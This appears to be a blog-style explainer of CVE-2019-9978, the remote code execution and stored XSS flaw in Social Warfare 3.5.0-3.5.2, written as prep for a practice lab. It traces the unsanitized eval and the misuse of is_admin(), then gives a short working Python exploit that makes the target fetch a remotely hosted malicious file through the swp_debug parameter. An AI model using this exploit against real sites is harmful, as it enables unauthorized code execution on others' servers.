CVE Explained: CVE-2019-9978

Explaining the RCE in the Social warfare plugin

Sources

• Blog

• Exploit

Where to practice:

Offsec-Pg-Play labs : SoSimple machine

Vulnerability Itself

Threatening to versions 3.5.0-3.5.2 of Social Warfare. These were a set of vulnerability that were found by the researchers on the plugin which lead to:

Server Side:

Remote-Code-Execution

Client Side:

Cross-Site-Scripting

The Root Cause:

Look at the code for the plugin to migrate:

Now this code was located at the localtion:

social-warfare\lib\utilities\SWP_ Database_Migration.php

Seeming to an ordinary code , it poses a threat in itself as the developer used the eval function without making sure that it was operating on sanitized content.

The flow of code

The code gets the file contents from the swp_debug parameter and puts into the options array and then that array removs the pre tags and thus passed into the eval function. Now no sanitization is here included , so an attacker could put anything between the pre tags inside the document on the parameter and upload it and get RCE.

Developing exploit for it

While there are many exploits for it one could easily leverage and get RCE on the server with such simple code:

Get the necessary data form the user and iimport the requests library to deal with http requests.

import requests

payload_url = input("url for malicious file: ")
url = input("The host url: ")

Then we need to send the url with appending the endpoint:

wp-admin/admin-post.php?swp_debug=load_options&swp_url=

With our malicious url at the end and send the request.

final_url = url+ "wp-admin/admin-post.php?swp_debug=load_options&swp_url=" + payload_url
response = requests.get(final_url)

Now we need to look at the response and print it if the response code is 500 as it says our payload is succedded

if response.status_code == 500:
    print("success!!")
    print(f"The contents: \n {response.text} \n")

Note:

If the application uses cookies or ther auth mehthods add those headers in the code as well asif the app runs on "https" , add the user-agent header.

Stored XSS:

This is due to the further code below the RCE code we saw above:

The root cause of each of these two vulnerabilities is the same: the misuse of the is_admin() function in WordPress. Is_admin only checks if the requested page is part of admin interface and won’t prevent any unauthorized visit.